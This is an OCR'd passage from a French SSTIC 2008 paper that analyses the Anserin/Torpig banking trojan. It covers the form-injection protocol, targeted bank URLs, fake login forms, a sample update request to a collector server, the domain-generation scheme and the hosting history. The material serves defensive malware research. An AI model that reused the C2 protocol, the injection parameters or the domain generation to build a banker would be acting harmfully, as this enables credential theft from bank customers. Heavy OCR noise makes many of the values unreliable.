Exemple : banking.xmcopartners.com /login.jsp /fr/banking.xmcopartners.com.php

Méthode d’injection
Eléments de | Exemple Description
réponse du
serveur
siteWeb banking.xmcopartners.com Site web ciblé par I’attaque
urlForm /login.jsp Le formulaire falsifié doit étre injecté

lorsque ’utilisateur visite I"'URL :
https:/banking. xmcopartners.com/login.jsp
urlFormFalsifié | /fi/banking.xmcopartners.com.php | Le formulaire falsifié est disponible depuis
I’'URL suivante :

https://injector-

server/fr/banking. xmcopartners.com.php

La seconde partie de la réponse (en vert) précise quand l'attaque doit étre menée (méthode
HTTP utilisée par le site Web, nombre de visites normales avant d’injecter une page malicieuse. .. ).
En effet, le malware injecte le formulaire falsifié ponctuellement. Cette mise en ceuvre permet de
ne pas éveiller les soupgons des victimes.

Exemple : 2021
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Evénement déclenchant ’injection

Eléments de | Exemple | Description

réponse du

serveur

typeHTTP 2 Type de requétes http a traiter. Plusieurs valeurs sont définies.

e 0: injection du formulaire sur toutes les requétes HTTP
(GET, POST, PUT, HEAD, ...)

s 1 :injection sur toutes les requétes de méthodes différentes
de GET et POST

e 2 :injection sur toutes les requétes de méthodes différentes

de GET
* 3 :injection sur toutes requétes de méthodes différentes de
POST
cptAvantInjection 0 Cette valeur représente le nombre de visites normales du site Web
avant que le malware n’injecte le formulaire falsifié.
nbMaxInjection 2 Cette valeur définit le nombre maximum d’injections que le
malware doit effectuer sur le site Web ciblé.
Statut 1 Plusieurs valeurs sont définies.

s 0 : D’attaque est désactivée. Le malware n’injectera pas de
formulaire falsifié
* 1 :lattaque est activée.

Exemple de traitement pour la réponse suivante :

banking.xmcopartners.com /login.jsp /fr/banking.xmcopartners.com.php 2 0 2 1

Le malware injectera le formulaire falsifié
https ://injector-server/fr/banking.xmcopartners.com.php
lorsque 'utilisateur enverra une requéte POST pour la premiere fois a la page
https ://banking.xmcopartners.com/login.jsp.

Cette attaque sera menée uniquement deux fois.

4.3 Les sites web attaqués par le banker

Le répertoire des faux formulaires contient actuellement 530 URL et formulaires associés. Les
formulaires sont classés par langue et par nom de domaine.

BANK MATCHING HUACK PAGE

*barciays.pt /barclaysnet/waitLogin.jsp [PitTheme/barclays.pt/barclays.pt.oh

*caixapenedes.com /mcpenedesnl/GeneralServiet?pageOperation =LOGIN [PitTheme/caixapenedes.com/redir1.php

www.cajaduero.es /Cajalectronica/boxer/cajaduero* [PitTheme/cajaduero.php

ww3.deutsche-bank.es /pbct/login.doLogin.db [PitTheme/deutschebank.es/deutschebank.es.ohp

adibonline.adib.ae Jefs/serviet/efs/jsp-ns/inc/init/login-init.jsp [ae/adb.ae.php

loginbanknetpower.net Jeheckin.sp l2e/banknetpower.net.php

*bobibanking.com /BankAwayRetail/*sgonHttpHandier.aspx™ [ze/bobibanking.com.php

*citibank.ae do [ze/citibank.com.php

bancolombia.olb.todo? .com /serviet/msfv/B0007/Loginy/login_wait_new.htm! [at/bancolombia.com.php
[at/bcointernacional.com.php

www= bolivariano.com /bancav/a/principal.asp [at/bolivariano.com.php

www.bancruznet.com.bo /produccions_produccion/app/iogin.asp [at/bsc.com.bo.php

vs1.absa.co.za /ib/Authenticate.do™ [at/b.absa.coza.php

*produbanco.com /GFPNetSeguroftransaccional/accesos/Login.aspx* [at/produbanco.com.php

businessnet.ba-ca.com /disp*login.welcome= [at/ba-ca.com/businessnet.ba-ca.com.php

online.ba-ca.com /bach/de/login/login.htmi [at/ba-ca.com/login.de php

www.bks-banking.at /ci/login.cgi/BKS [at/bis-banking.at.ohp

www.denizbank.at /dnzbnkWienWeb/iogin/loginend jsp. [at/denizbank.at.ohp

‘ebanking.easybank.at /InternetBanking/InternetBanking/* [at/easybank.at.php

www.ibrokerage.at /SERVICE/015_PRESENTATION [at/ibrokerage.at.ohp

www.myoenb.com Jticketiogin [at/myoenb.com.php

banking privatbank.at /htmi/germanyloginpin.fsp;jsessionid== [at/privatbank.at.php

Wit psk.co.at /InternetBanking/InternetBanking™ [at/psk.coat.ohp

‘ebanking.spardabank-vi.co.at /eBanking/iBanking/iBanking2.jsp [at/spardabank-vi.co.at.ohp

secure.accu.com.au /=/communicator.jsp [2u/accu.com.au.chp

=advisernet.com.au /avn/iogon_controller [aujadvisernet.com.au.php

secure.ampbanking.com /au/Logon [au/ampbanking.com.php

‘ebanker.arabbank.com.au /eB_SignOn.asp [au/arabbank.com.au.php

F1G. 14: Extrait de la liste des faux formulaires hébergée par 1’ Injector Server



Actes du symposium SSTIC0O8 17

Au moment de la rédaction de cet article, 13 banques francaises souffraient de la présence d’un
faux formulaire sur ' Injector Server.

Méme si la cible principale de Anserin reste les banques en ligne (environ 90 % des faux formu-
laires), Anserin attaque d’autres types de site.

En premier, les sites de paiement par tiers de confiance comme PayPal. Viennent ensuite les
sites de vente aux encheres (Ebay) et les sites de jeux en ligne dédiés aux consoles comme Word-
Gaming.net. Le formulaire de login d’un site francais de vente de vidéo pornographique en ligne a
méme été ajouté a la liste pendant 1 mois.

Comme nous ’avons explicité au chapitre dédié au mécanisme d’injection de faux formulaire,
Anserin enregistre et collecte les identifiants de connexion lorsque I'internaute valide un formulaire.

La simplicité du mécanisme de collection des mots de passe en constitue également sa force.
La collecte est indépendante de I'injection du faux formulaire. En d’autres termes, peu importe
sl y a un faux formulaire, Anserin enregistre le contenu de toutes les requétes HTTP POST qui
sortent d’Internet Explorer. Ainsi, que I'utilisateur soit trompé par un faux formulaire de login lui
demandant son code PIN ou qu’il saisisse son numéro CVV2 de sa carte VISA, Anserin enregistre
ses informations dans son fichier de collecte et les envois au Back-Office.

Anserin est donc bien plus puissant qu'un banker dédié qu’a certaines banques : tous les identi-
fiants confidentiels que la victime saisit sur un site web sont volés et seront revendus ou échangés.

11 est donc probable que le Back-Office de Anserin possede une base de données impressionnante
contenant des centaines de données revendables : identifiants bancaires, code d’acces a divers sites,
carte de crédit, code de sécurité sociale, code de Webmail. ..

5 La résilience du banker

Anserin a été concu pour persister. Les pannes et les fermetures judiciaires des serveurs du
Back-Office ont été prévues par les développeurs des sa conception.

Ainsi, 'adresse IP de I’Injector Server est renseignée par le fichier de configuration. La mise &
jour de ce fichier permet de restaurer la fonctionnalité d’injection du malware en cas d’incident sur
un précédent Injector Server.

Anserin met en ceuvre deux techniques de résilience : la mise & jour du moteur du malware et
le changement des adresses IP du Back-Office.

5.1 Le processus de mise a jour du malware

Anserin est un malware actif et en perpétuelle évolution, en effet, des mises & jour sont effectuées
fréquemment, par occurrence d’une fois par semaine.

Les principales modifications concernent le fichier de configuration de Anserin. En effet, les URL
des banques en ligne évoluent au fil du temps et les développeurs affinent les régles utilisées par
I'Injector Server, le malware doit donc constamment mettre & jour sa base de connaissance. La mise
a jour peut également modifier ’adresse 1P de 1'Injector Server.

La figure 5.1 présente des modifications effectuées par une mise a jour du fichier de configuration
du malware. Ce résultat provient d’un robot de surveillance que nous avons développé dont le
fonctionnement est explicité ultérieurement. Seules les modifications de configuration sont reportées
dans les alertes du robot.

Le processus de mise a jour affecte également le coeur du malware, la librairie ibm000x.dll.
La mise a jour de cette librairie est rare, mais peut modifier le comportement de Anserin. Les
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Alerte Anserin : Tue Mar 18 11:27:19 2008

Hi, this is the Anserin/Torpig update and upgrade analyser.

A new update of the malware configuration's file has been released.

AADDED CONTENT DELETED CONTENT
*bog.com au www bog.com.au
riptx.info irik.com

~2r11111%")($ ~2r11111%" )&

--Xmco Anserin Analyser v2.01--

F1c. 15: Exemple d’alerte lors d’une mise a jour du fichier de configuration de Anserin

principales modifications de la librairie identifiées durant cette année sont ’exécution du malware
en tant que Service Windows et la modification de la clé de chiffrement pour les requétes HTTP.

Les développeurs utilisent également un systeme de versionning consciencieux. Chaque version
du malware dispose d’un nom propre (gucci, Vasib...) suivi d’un identifiant numérique (75, 95,
109...). Anserin insere cette version au sein de chaque requéte envoyée aux serveurs du Back-Office
ainsi que pour toutes les insertions dans le fichier de collecte. Ce mécanisme assure aux développeurs
une résilience dans la gestion des données volées méme en cas de modification majeure du malware.

Le processus de mise a jour dépend du Collector Server. Le malware envoie périodiquement
une requéte HTTP chiffrée au serveur contenant plusieurs parametres. Cette requéte est semblable
a l'envoi des données du fichier de collecte (parametres envoyées, algorithme de chiffrement. . .)
présenté dans le chapitre 3 cependant, le malware utilise ici la méthode HTTP GET.

Requéte de mise a jour déchiffrée :

GET /0123456789ABCDEF/id=1234567890ABCDEF1234567&sv=109&build=Build’20Vas
1B&ts=1204201312&ip=192.168.1.111&sport=8796&hport=8744&os=5.1.2600&cn=
France&nid=0123456789ABCDEF&bld=Build Vasi5&ver=109 HTTP/1.1

Host: collector-server.com

User-Agent: MSID [1234567890ABCDEF1234567] |Build Vasi5|109

Cache-Control: no-cache

Le tableau ci-dessous décrit les différents parametres de 'URL envoyée par le malware :
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Nom du parametre Description Exemple
/0123456 789ABCDEF/ | Clé de chiffrement. POST /0123456789ABCDEF/....
id MSID : identifiant du malware. | id=1234567890ABCDEF1234567
Cette valeur est générée
aléatoirement lors de
I’installation du malware
sV Version du malware sv=109
build build=Build Vasi5
bld bld=Build Vasi5
ver ver=109
ts Timestamp. ts=1204201312
Cette donnée correspond a la
date de derniére mise a jour du
malware.
ip Adresse IP de la machine | ip=192.168.1.111
infectée
sport Port TCP du proxy SOCKS du | sport=8796
malware
hport Port TCP du proxy HTTP du | hport=8744
malware
0s Version de Windows 0s=35.1.2600
cn Géolocalisation de la machine | cn=France
infectée
nid Clé de chiffrement utilisé 1nid=0123456789 ABCDEF
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Le serveur utilise les valeurs des champs ts (TimeStamp) et ver (Version) afin de déterminer

respectivement la derniére mise a jour du fichier de configuration et la version de Anserin.

En fonction de ces valeurs, le serveur peut renvoyer 3 types de réponses : * okn : le malware
est & jour. * oke : mise & jour du fichier de configuration du malware. * oks : mise & jour du ceeur
du malware (librairie ibm000z.dll).

La réponse du serveur est contrélée par le malware. Seules les chaines de caracteres okn, okc et
oks sont attendues par Anserin. Ces réponses confirment que la requéte a été envoyée au Collector
Server. Si la réponse du serveur ne contient aucune de ces données, le malware renvoie sa requéte

sur un autre serveur.

Réponse du serveur lorsque le malware est a jour :

HTTP/1.1 200 OK

Date: Tue, 25 Feb 2008 05:03:18 GMT

Server: Apache
X-Powered-By: PHP/5.0.4
Content-Length: 4
Connection: close

Content-Type: text/html; charset=UTF-8

okn

Lorsque le fichier de configuration doit étre mis a jour, le serveur renvoie une nouvelle version
du fichier chiffrée avec la clé fournie dans la requéte (dans notre exemple 0123456789ABCDEF)
précédée de la taille du fichier.

Réponse du serveur lors d’une mise a jour du fichier de configuration :

HTTP/1.1 200 OK

Date: Tue, 25 Feb 2008 05:03:18 GMT

Server: nginx/0.5.32

X-Powered-By: PHP/5.2.1
Connection: keep-alive
Content-Type: text/html
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okc 43989. ..

Lors de la mise a jour de la librairie utilisée par Anserin, aucun chiffrement n’est opéré. Le
contenu de la nouvelle librairie est envoyé dans le corps de la réponse HTTP toujours précédé de
la taille du fichier.

Réponse du serveur lors d’une mise a jour de Anserin :

HTTP/1.1 200 OK

Date: Tue, 25 Feb 2008 05:03:18 GMT
Server: nginx/0.5.32

X-Powered-By: PHP/5.2.1

Connection: keep-alive
Content-Type: text/html

oks 135832...This program cannot be run in DOS mode...

5.2 Le mécanisme de reprise

Le Collector Server est le serveur le plus important du Back-Office. Ce serveur permet de
recueillir tous les identifiants volés, de maintenir a jour le malware et de fournir la nouvelle adresse
de V'Injector Server.

Le nom de domaine associé au Collector Server est fourni par le fichier de configuration du
malware. Toutefois, si le nom de domaine n’est pas joignable, Anserin utilise un mécanisme de
génération pseudo-aléatoire d’un nouveau nom de domaine pour le Collector Server. Ainsi, les
malwares « perdus », ou avec un fichier de configuration corrompu, peuvent toujours reprendre le
contact avec leur serveur maitre.

Ce mécanisme peut étre apparenté au concept de FastFfluz networks, a la différence que ce n’est
pas l'adresse IP qui change régulierement, mais le nom de domaine du serveur. La fermeture au
niveau du Registrar est donc inutile, car les noms de domaine changent sans arrét.

Exemples de noms de domaine générés (Novembre 2007) :

fdwvonv.com
fdwvonv.info
fdwvonv.biz

Cet algorithme repose essentiellement sur une translation de la date courante. Le nom de do-
maine généré est composé de 7 caractéres (dont les 3 derniers correspondent au mois en cours)
associés aux extensions « .com », « .info » ou « .biz ».

Le tableau suivant fournit la correspondance entre le mois en cours et I’abréviation de 3 ca-
racteres utilisés par Anserin :

Mois ANSERIN Translation
January ANJ
February EBF
March ARM
April PRA
May AYM
June UNJ
July ULl
August UAG
September ESP

October OKT
November ONV
December EDC
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Anserin utilise deux concepts différents pour assurer la résilience :

— Un concept proche d’'un Fust-Flux simple : le nom de domaine du Collector Server est ren-
seigné par le fichier de configuration. Ainsi, pour le nom de domaine, ’adresse IP du serveur
peut changer. La résilience est du c6té Registrar.

— Un concept inverse des Fust-Fluz : le malware génere un nom de domaine qui pointera vers
une IP inconnue. La résilience est du c6té DNS.

6 Retour d’experience

6.1 Les stratagémes des faux formulaires

Les banques en ligne utilisent des mesures de protection afin de renforcer le processus d’authen-
tification des clients. Ces mesures de protections sont matérialisées par I'ajout d’un clavier virtuel,
I'utilisation d’un token ou d’une carte contenant de multiples identifiants.

Les pirates doivent faire preuve d’imagination afin de trouver des astuces pour contourner ces
protections & aide de 1'Injector Server. Toutefois, le risque ne s’arréte pas la, en effet, Anserin
peut également injecter de nouveaux formulaires sur certains sites Web. Ces nouveaux formulaires
permettent de recueillir des informations personnelles sur les victimes (numéro de sécurité sociale,
nom de jeune fille, code PIN d’une carte bancaire. . .)

Les exemples suivants sont basés sur de réelles attaques que nous avons anonymisées.

L’authentification suivante utilise la carte bancaire de 1’utilisateur pour I’authentification sur le
site Web. L’utilisateur possede un calculateur permettant de générer un code d’acces en fonction
d’un challenge soumis par le site Web, du numéro de carte bancaire associé & son code PIN (secret).

La figure 6.1 présente le formulaire d’authentification 1égitime du site Web :

Identification

1 Numéro de la carte 2 Dexia Card Reader 3 Code d'accés

Introdulsez votre numéro de carte:

. Insérez votre carte bancaire dans Introduisez le nombre qui apparalt &
le Dexla Card Reader. I'écran du Dexla Card Reader:

r (maximum B chiffres, sans espace)
It
. Appuyez sur |a touche @

o

Response:

3. Introdulsez le nombre sulvant sur

e Challenge:
8627 5051
ezos] [ [ 1] puis confirmez avee @

[~ Adouter & vos faverls

»

. Introduisez e code pin de votre carte

bancaire et confirmez avec

Fi1G. 16: Site A 1égitime

La visite de ce site Web depuis une machine infectée par Anserin inclut 1’'Injector Server.
L’ Injector Server va renvoyer un formulaire identique au site 1égitime (figure 6.1) sauf que la valeur
du challenge est fixe. La soumission de ce formulaire falsifié génere une erreur d’authentification et
renvoie l'utilisateur sur la réelle page de login.
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Identification

1 NumA®ro ce la carte

! Dexla Card Reader

. InsA@rez votre carte bancalre
dans le Dexla Card Reader.

3 Code d'acch’s

Introdulsez le nombre qui apparaR@t A
I'ABcran du Dexia Card Reader:
(maximum 8 chiffres, sans espace)

Introdulsez votre numA®ro de carte:

Response:

—-..

e e

3. Introdulsez le nombre sulvant sur
le Dexia Card Reader.

Challenge:
9099 0643

puis confirmez avec @

(2221 N ]

[~ Ajouter A vas favoris

-

Introduisez le code pin de votre carte

bancaire et confirmez avec

F1G. 17: Site A avec le faux formulaire

Nous ne sommes pas en mesure de savoir si les pirates ont cassé I’algorithme utilisé par le cal-
culateur de cette banque en ligne. Si tel est le cas, en fixant la valeur du challenge, les pirates sont
en mesure de retrouver le code PIN de la carte bancaire de I'utilisateur. Si I’algorithme n’est pas
encore cassé, cette attaque permet aux pirates de créer une faille cryptographique (utilisation mul-
tiple d’'un méme challenge). Cette faille cryptographique permettra, a terme, de casser 1’algorithme
de chiffrement du calculateur.

L’exemple suivant est plus simple et répandu. La figure 6.1 présente le formulaire d’authentifi-
cation légitime d’une banque en ligne.

Account Log In
3/21/2008 8:02:30 AM ET.

U.S Eguity/Option Markets are closed.

Market Quotes (Delayed 15 minutes}
DJIA 0 | NASDAQ +48.15 4 | S&P 500 -1.23 ¥

Account Log In
Username

Password
Reminder: Your password is case sensitive.

Start Page | Default StartPage  +
a

Forgot your password?

Note: By logging in, you agree to our Account Terms and Conditians.

Key Dates More Dates

3/21 Observance of Good Friday — U.S. equity and futures
markets closed. Futures Trade Support is available by calling
888-280-8020 or through Live Help until 7am ET. Futures
Trade Supportwill reopen on Sunday 3/23 at4pm ET.

Holiday Schedule Click Here
Notices

Options Expiration This Week

Normal oplions expiration procedures will be affected by the Good
Friday holiday. Be aware that

+ AM settied index options stop trading Wednesday, Mar. 19th

+ Expiring equity and P.M setled index options will stop trading
Thursday, Mar. 20th.

If you have positions with March expirations, please be prepared to
manage these positions before the deadline above.

Important IRA Notice:

Please remember to specify 2007 when making your 2007 IRA
contributions; otherwise they will automatically default as tax year
2008 contributions (exceptions apply for SIMPLE and SEP
accounts).

Fic. 18: Site B 1égitime
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Dans ce cas, I'Injector Server ne modifie pas le formulaire d’authentification, car le mécanisme
d’authentification est standard (login / password) et les identifiants seront enregistrés dans le fi-
chier de Collecte. Anserin va simplement ajouté un formulaire supplémentaire (figure 6.1) afin de
substituer des données personnelles (code PIN, numéro de sécurité sociale, réponse & une question
secrete. . . ).

Account Log In E-mini S&P 500 (MAR) 1,267.00 | E-mini NASDAQ 100 (MAR) 1,660.50
2H0/2006 7:31:17 AM ET.

U.S Equity/Option Markets open in 1 hours 58 minutes. # Learn More about Futures

To continue with Online Banking, please provide the information requested Key Dates More Dates
D=l 02M16 Lasttrading day for certain February index options.
First Name 0217 Lasttrading day for February equity and all other index
options.
Last Name 02/20 Markets closed in observance of President's Day.

=i
de/mmiyyyy

Date of birth Notices
. Trading Hours to Ghange on Feb. 13, 2006

Closing for equity options and narrow-based index options will
fon U recidant{oed) change to 4:00 pm ET beginning Monday, February 13, 2006
Mothers Maiden Name For more information click here.

Social Security number

Save $100! Register for OptionsXpo 2006 and save $100 off

] the registration fee. Don't miss your chance to learn from

— leaders the community and
Email optionsXpress trainers. Visit www.optionsXpo.com for more
details.
Answer for the secret
question Get Important IRA and Tax Info
Esecuretogind ‘When making your IRA contributions, be sure to specify 2005 or
G loecre oo, 2006, otherwise they will default to 2006

Forgot your password?

Fi1G. 19: Site B avec le faux formulaire

La figure 6.1 illustre une autre utilisation de I'injection de formulaires falsifiés. Anserin modifie
le formulaire légitime pour demander a un utilisateur de saisir plusieurs codes de sécurité. Ces
codes de sécurité sont stockés sur une carte personnelle de 'utilisateur. Généralement, les banques
en ligne demande de saisir un seul de ces codes de sécurité afin d’effectuer certaines opérations
(virement bancaire, ordre boursier,. . . ).

6.2 Qui contrdle ce banker?

La question est simple : « Qui controle ce banker? »

Lorsque nous avons commencé a étudier le banker Anserin au début de 'année 2007, les deux
adresses IP de son Back-Office pointaient vers la plage IP 81.95.144.0.

Cette plage est enregistrée par une organisation nommée Russian Business Network, plus connue
sous 'acronyme RBN. La localisation de cette organisation a évolué au fil de I’année.

Tout d’abord, début 2007, 'enregistrement RIPE de la plage IP 81.95.144.0 indiquait la ville
Saint-Pétersbourg en Russie. Aujourd’hui, méme si cette plage n’héberge plus le Back-Office de
Anserin, 'enregistrement WHOIS de cette plage indique la République de Panama.

Enregistrement RIPE de I’ Injector Server début 2007

81.95.144.0 - 81.95.147.255

inetnum: 81.95.144.0 - 81.95.147.255
netname: RBNET
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descr:

admin-c:

tech-c:
mnt-by:
status:

country:
remarks:

source:

role:

address:
address:
address:
address:
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ADVERTENCIA !l

la autorizaciA’n

JOE00>
EEEED®
EEERE-
EUEEE-®
JEOOE™

Accueil  Identification

IDENTIFICATION

EEOOO™
Jogge
EEEEE-T
& B ELE -
(] B EEE -

Afin de prévenir les cas de |a fraude veuillez
Introd 10 ¢

Por motivos de seguridad nuestro sistema de prolecciﬂ’n ha sido mejorado.
Por favor introduzca las coordenadas solicitadas de su Tarjeta Super Clave para acabar

vous identifier et confirmer votre parsonnalité.
s LES.

F1G. 20: Formulaires falsifiés demandant de nombreux codes secrets

Russian Business Network
RBNR-ORG

RBNR-ORG

RBN-MNT

ASSIGNED PA

RU

INFRA-AW

RIPE # Filtered

Russian Business Network Registry
Russian Business Network

12 Levashovskiy pr.

197110 Saint-Petersburg

Russia

En observant I’évolution des mises & jour de notre version de Anserin que nous conservons sur
un poste infecté, nous avons suivi les changements d’adresse IP du Back-Office.

Mis a part quelques indisponibilités, ’adresse IP du Back-Office n’a pas changé entre le mois de
janvier et le mois de septembre 2007.

En septembre, la mise a jour de la librairie DLL a suivi la migration du Back-Office vers la plage
194.146.207.0. Cette plage a alors été enregistrée au nom d’une certaine société NEVACON LTD,

également située en République de Panama.

Le Back-Office de Anserin a alors commencé une phase de déménagement incessant. Le tableau
ci-dessous illustre ces migrations en indiquant pour chacune des adresses IP utilisées, ’hébergeur
associé. Ci-apres, le tableau des hébergeurs du Back-Office de Anserin entre le ler janvier 2007 et
le 15 mars 2008 :



Actes du symposium SSTIC0O8 25

Date d'observation IP du Collector Hébergeur Lieu

1 Jan 2007 81.95.144.0 Russian Business | Saint-Petersbourg,
Networks Russie

1 Sept 2007 194.146.207.137 Nevacon LTD Panama

5 Nov 2007 72.232.197.83 Layered Technologies Plano, Texas, USA

15 Nov 2007 216.240.147.250 Calpop Los Angeles, USA

5 Dec 2007 74.86.214.10 Softlayer Technologies | Dallas, Texas, USA

15 Dec 2007 207.218.234.194 ThePlanet Houston, Texas, USA

3 Jan 2008 209.62.15.98 ThePlanet Houston, Texas, USA
Additionel Whois
Istanbul, Turquie

10 Jan 2008 88.255.74.234 Sistemmnet Istanbul, Turquie
/TurkTelekom
21 Jan 2008 208.101.17.194 Softlayer Technologies | Dallas, Texas, USA
8 Fev 2008 88.255.90.34 Sistemmet/TurkTeleko Istanbul, Turquie
m
13 Fev 2008 67.228.114.75 Softlayer Technologies | Dallas, Texas, USA
29 Fev 2008 74.54.4750 ThePlanet Houston, Texas, USA
add: Tstanbul, Turquie
10 Mar 2008 66.240.237.195 Cari San Diego, Californie,
USA
15 Mar 2008 67.228.114.66 SoftLayer Technologies | Dallas, Texas, USA

Les adresses IP indiquées dans ce tableau correspondent a I’adresse réellement active du Collector
Server, c’est-a-dire I’adresse vers laquelle notre machine infectée envoyait les identifiants volés.

Anserin détermine 'adresse IP de son Collector a partir d’'un nom DNS généré pseudo-aléatoi-
rement en fonction de la date du jour. Cependant, le fichier de configuration local de Anserin, qui
est mis a jour sporadiquement, contient deux noms DNS fixes. Il s’agit des adresses de backup du
Collector Server, son URL de secours.

Depuis le 14 janvier 2008, les deux noms de machine de backup n’ont pas évolué : kalamazan.com
et kirizz.info. Ces deux noms sont résolus vers deux adresses IP différentes appartenant toutes les
deux au méme hébergeur : SoftLayer Technologies.

Le but de cet article n’est pas de dénoncer une quelconque complicité entre les pirates controlant
Anserin et les hébergeurs cités ici. Ces hébergeurs font partie de ce que 'on appelle des hébergeurs
Bullet-Proof. Ces derniers proposent des serveurs dédiés et sans aucune limitation. Ils garantissent
a leur client 'anonymat et la tranquillité. Deux aspects appréciés des pirates et de spammeurs
professionnels. Certains de ces hébergeurs annoncent clairement la couleur avec les slogans tels
que : « we will never shut you down, no matter how many complaints we receive. »

Le plus connu de ces hébergeurs d’un nouveau genre est justement le Russian Business Networks
ou RBN. De nombreux sites web défacés cette année se sont retrouvés avec des balises HTML Iframe
pointant vers des serveurs hébergés par le RBN, serveurs diffusant des malwares parmi lesquels il
était possible de retrouver le banker Anserin. Comble de I'histoire, certains faux antispywares sont
également hébergés par cette société. Le RBN est également accusé d’héberger des sites pédophiles
ou néo-nazis (notamment le groupe 1488.ru).

Interviewé par le magazine Wired*, Jaret, I'un des responsables du RBN, clame la légitimité de
ses activités et dénonce une cabale contre sa société : « We can’t understand on which basis these
organizations have such an opinion about our company |[...] We can say that this is subjebased on
these organizations’ guesswork. »

* http ://www.wired.com/politics/security /news,/2007/10/russian_network



26 Actes du symposium SSTICO8

Notre objectif ici n’est pas d’étudier le RBN, mais I’hébergement du Back-Office de Anserin.
Une étude complete du RBN a été publiée par David Bizeul®.

De forts soupgons pesent donc sur le RBN et sur des groupes de pirates russes quant a l'origine
de Anserin.

Cependant, d’apres nos observations in vivo, méme s’il est indéniable que le RBN a hébergé le
Back-Office de Anserin en 2007, il est clair que les pirates derriere Anserin sont passés a I’Ouest. Le
tableau récapitulatif présenté plus haut met bien en évidence 'utilisation d’hébergeurs Bullet-Proof
californien et texan (figure 6.2).

La 1égalité de ce type d’hébergement mériterait d’étre étudié, car ces hébergeurs ne cachent pas
vraiment leur philosophie. SoftLayer Technologies affiche méme cette philosophie sur sa devanture
Internet : « Do It Fast, Do It Better, Do It in private ».

SoftLayer Technologies, Inc.
<[> | e ||+ ]| Shup:/jwww.softiaver.com/ (- Google

I starer Techmlogies, e

Home | KnowiedgeLayer | Support | VPN | Mini | Forums pres

55 | Contact | Chat Live with Sale

SOFTLAY=R

doitfaster. do it better. do itn private.

SoftLayer Seattle Datacenter:
Datacenter fully operational on December 17, 2007. [’ /
SERVER OPTIONS  SERVICES | NETWORK  DATACENTER.  PARTNERS | ABOUTSOFTLAYER THEINNERLAYER DEVELORERNETWORK | SPECIALS LEGALINFO
we Icom e to seattle Key Seattle Datacenter Details. sales Portal VN
3 = 2000 amps 480v Input Power Need a little advice? Contact one
oftLayer’s newest datacenter. - s s o sspuose o ity e s e ne
= 2000Kw Diesel Generator with Onsite Fuel Storage Etone Y enmaltior chet:
Our Seattle Datacenter, with room for over 10,000 dedicated servers, s housed in  private N+1 o pedundant Licbert 30 Ton HVAC Units ToliFree 1-8s6-208-7638
v wsuat ? Now Softayer e e e camenaaaion fmal  saisGssnisvencom
'9 needs. Welcome to , proyimity Security Badge Access. chat lcic o clmt
the future of hosting. = Digital Security Video Surveillance
Setiiayerens
Single Processor Multi Core Servers Dual Processor Multi Core Servers Quad Processor Multi Core Servers

Pricing Starts At EIeG=IEm Pricing Starts At OB Pricing Starts At

jatared ECC RAM 868 Registered ECC RAM

0| | immacrecao
259% - |8 o
e 20006t i jag

et R

1592

More Softtayer press

Developer Toolbox ﬂ Y

Z

- - - |

F1G. 21: L’un des hébergeurs actuels du Back-Office de Anserin

La tarification de ces hébergeurs (499 dollars par mois et par serveur) démontre que l'activité
générée par Anserin est lucrative et que les pirates investissent dans cette activité. Il est pro-
bable que les pirates ne soient pas liés a ces hébergeurs texans peu regardants, mais qu’ils louent
discretement des serveurs dédiés sous de faux noms et a 'aide de sociétés-écrans. Lors de ses
différents déménagements, Anserin a réutilisé des adresses IP liées a la société Nevacon LTD.

Il est donc tres probable que les pirates qui controlent Anserin soient liés & la société-écran
actuellement située au Panama. Fait intéressant, ’adresse 194.146.207.137 indique aujourd’hui la
société Nevacon TLD au Panama. D’apres les historiques des enregistrements RIPE, cette méme
adresse était enregistrée en juillet 2007 par une société appelée « Nevskaya Consulting Company
LTD » et indiquait ’adresse d’un certain Fedorov Sergey et d’un certain Samorukin Petr a Saint
Petersburg.

Historique de I'enregistrement WHOIS d’une des adresses du Back-Office de Anserin

5 http ://www.bizeul.org/files/RBN study.pdf
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inetnum: 194.146.204.0 - 194.146.207.255
descr: NEVACON LTD

country: RU

admin-c: SERG3-RIPE

address: 190000, Russia, St.Petersburg
phone: +7(921)7881510

fax-no: +7(921)7881510

e-mail: info@nevacon.net

admin-c: SERG3-RIPE

tech-c: SP5424-RIPE

mnt-ref: NEVSKCC-MNT

route: 194.146.204.0/22

descr: Nevskaya Consulting Company LTD
origin: AS41731

mnt-by: NEVSKCC-MNT

source: RIPE # Filtered

Le nom complet « Nevskaya Consulting Company LTD » a aujourd’hui disparu de l'enregis-
trement WHOIS de Nevacon LTD. L’ancien et le nouvel enregistrement WHOIS pointent vers la
méme AS : ’AS41731.

Cette société se présentait ainsi : « Nevskaya Consulting Company is specialized in managerial
consulting, including setting up of budget planning and monitoring systems, economical simulation,
design and implementation of automated solutions for budgeting. »

Quelques recherches indiquent que Nevskaya Consulting embauche des consultants en TAS (In-
ternational Accounting Standards) et en monétique.

6.3 Le monitoring d’un banker

Afin de surveiller quotidiennement 1’évolution du banker, nous avons mis en ceuvre une archi-
tecture de suivi. Cette architecture comprend une machine infectée et un serveur de monitoring
(figure 6.3).

La machine infectée permet de garder un contact permanent avec le Back-Office. Cette machine
permet d’analyser en temps réels les mises a jour de la librairie et de suivre 1’évolution des noms
de domaines du Collector Server. Le mécanisme de résilience de type « DNS Fast-Fluz » n’étant
pas totalement cassé, nous ne sommes pas encore en mesure de générer automatiquement les noms
de domaine de ce serveur. Ainsi, lorsque les pirates modifient les adresses IP des serveurs avant
de mettre & jour le fichier de configuration de Anserin, seule la machine infectée nous permet de
retrouver I'adresse du Collector Server.

Le serveur de monitoring exécute périodiquement des requétes aupres du Back-Office Anserin.
Ces requétes permettent de suivre les mises a jour du fichier de configuration et les modifications
du processus d’injection (ajout de nouvelles banques, modifications des formulaires falsifiés. . . ).

Au total, nous avons développé 4 robots de surveillance afin de suivre les événements suivants :

— Suivi de la disponibilité des serveurs du Back-Office (figure 6.3),

— Suivi des mises a jour (fichier de configuration et librairie du malware) (figure 6.3),

— Suivi de la liste des sites web ciblés par I’ Injector Server (figure 6.3),

— Suivi des modifications des formulaires falsifiés (figure 6.3).

Toute modification de I'architecture Anserin remonte une alerte.

6.4 Quelques anecdotes. ..

L’un des principaux problémes rencontrés lors du monitoring réside dans le blacklistage de nos
adresses IP au niveau du Back-Office de Anserin : les pirates surveillent tres bien leurs fichiers de
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F1G. 22: Architecture de monitoring de Anserin

logs. En effet, le serveur de monitoring envoyait trop de requétes a I’ Injector Server. Ces nombreux
acces ont di éveiller les soupgons des pirates. Afin de contourner ce blocage, nous avons di modifier
I’architecture pour envoyer les requétes HTTP a travers le réseau d’anonymisation TOR.

Un second blocage a été mis en place sur les serveurs du Back-Office au niveau de I'identifiant
